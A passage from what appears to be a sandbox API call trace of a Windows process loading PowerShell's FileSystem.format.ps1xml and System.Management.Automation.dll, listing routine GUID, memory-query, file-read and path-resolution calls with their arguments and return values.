lpFilePart=0x0) returned 0x44 [0244.019] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0x80efd1d1, Data2=0xd897, Data3=0x45aa, Data4=([0]=0xa7, [1]=0x3f, [2]=0x84, [3]=0xfa, [4]=0x36, [5]=0x88, [6]=0x47, [7]=0x7c))) returned 0x0 [0244.021] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0x93684fbe, Data2=0x4aab, Data3=0x4750, Data4=([0]=0xaa, [1]=0x85, [2]=0x25, [3]=0xfe, [4]=0x5a, [5]=0x6e, [6]=0x88, [7]=0x9e))) returned 0x0 [0244.022] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0x6c304c7a, Data2=0xa1a6, Data3=0x4ef0, Data4=([0]=0xbf, [1]=0xd8, [2]=0x28, [3]=0x15, [4]=0xd1, [5]=0x35, [6]=0x33, [7]=0x77))) returned 0x0 [0244.023] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0xefb51d19, Data2=0x7799, Data3=0x458d, Data4=([0]=0xbe, [1]=0x1f, [2]=0x7d, [3]=0x18, [4]=0x59, [5]=0xf2, [6]=0x4a, [7]=0xb5))) returned 0x0 [0244.023] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0xb8295b25, Data2=0x2348, Data3=0x4b71, Data4=([0]=0x99, [1]=0x1e, [2]=0x80, [3]=0x75, [4]=0x56, [5]=0xf1, [6]=0xef, [7]=0xdf))) returned 0x0 [0244.024] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0xc9205de, Data2=0x7270, Data3=0x4665, Data4=([0]=0xb2, [1]=0xd0, [2]=0x33, [3]=0x9f, [4]=0xcf, [5]=0xdc, [6]=0x44, [7]=0xaf))) returned 0x0 [0244.025] VirtualQuery (in: lpAddress=0xebdc0, lpBuffer=0xecc80, dwLength=0x30 | out: lpBuffer=0xecc80*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff800)) returned 0x30 [0244.026] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0x66e8a6ef, Data2=0x894d, Data3=0x4031, Data4=([0]=0x85, [1]=0x68, [2]=0x4f, [3]=0xb1, [4]=0x7a, [5]=0xc2, [6]=0xa9, [7]=0xda))) returned 0x0 [0244.027] VirtualQuery (in: lpAddress=0xebdc0, lpBuffer=0xecc80, dwLength=0x30 | out: lpBuffer=0xecc80*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0244.028] VirtualQuery (in: lpAddress=0xebdc0, lpBuffer=0xecc80, dwLength=0x30 | out: lpBuffer=0xecc80*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0244.082] SetErrorMode (uMode=0x1) returned 0x1 [0244.084] ReadFile (in: hFile=0x308, lpBuffer=0x3605a58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x3605a58*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0244.085] ReadFile (in: hFile=0x308, lpBuffer=0x3605a58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x3605a58*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0244.085] ReadFile (in: hFile=0x308, lpBuffer=0x3605a58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x3605a58*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0244.085] ReadFile (in: hFile=0x308, lpBuffer=0x3605a58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x3605a58*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0244.085] ReadFile (in: hFile=0x308, lpBuffer=0x3605a58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x3605a58*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0244.085] ReadFile (in: hFile=0x308, lpBuffer=0x3605a58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x3605a58*, lpNumberOfBytesRead=0xed158*=0x119, lpOverlapped=0x0) returned 1 [0244.085] ReadFile (in: hFile=0x308, lpBuffer=0x3605a58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x3605a58*, lpNumberOfBytesRead=0xed158*=0x0, lpOverlapped=0x0) returned 1 [0244.086] CloseHandle (hObject=0x308) returned 1 [0244.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0244.086] SetErrorMode (uMode=0x1) returned 0x1 [0244.086] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xed100 | out: lpFileInformation=0xed100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0244.086] SetErrorMode (uMode=0x1) returned 0x1 [0244.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xece30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0244.086] CoTaskMemFree (pv=0x31f1b0) [0244.086] RegCloseKey (hKey=0x308) returned 0x0 [0244.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xece30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0244.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0244.276] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.276] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.277] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.277] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0x6f69ede5, Data2=0xa2da, Data3=0x402c, Data4=([0]=0x81, [1]=0xbb, [2]=0x9d, [3]=0x6d, [4]=0x6, [5]=0xb7, [6]=0xcb, [7]=0x1d))) returned 0x0 [0244.277] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebef0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebef0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.281] VirtualQuery (in: lpAddress=0xeb420, lpBuffer=0xec2e0, dwLength=0x30 | out: lpBuffer=0xec2e0*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0244.282] VirtualQuery (in: lpAddress=0xeb4b0, lpBuffer=0xec370, dwLength=0x30 | out: lpBuffer=0xec370*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0244.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.283] VirtualQuery (in: lpAddress=0xebc30, lpBuffer=0xecaf0, dwLength=0x30 | out: lpBuffer=0xecaf0*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0244.284] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.284] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.284] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.284] VirtualQuery (in: lpAddress=0xebc30, lpBuffer=0xecaf0, dwLength=0x30 | out: lpBuffer=0xecaf0*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0244.285] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.285] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.285] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebef0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebef0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.310] GetFullPathNameW (in: 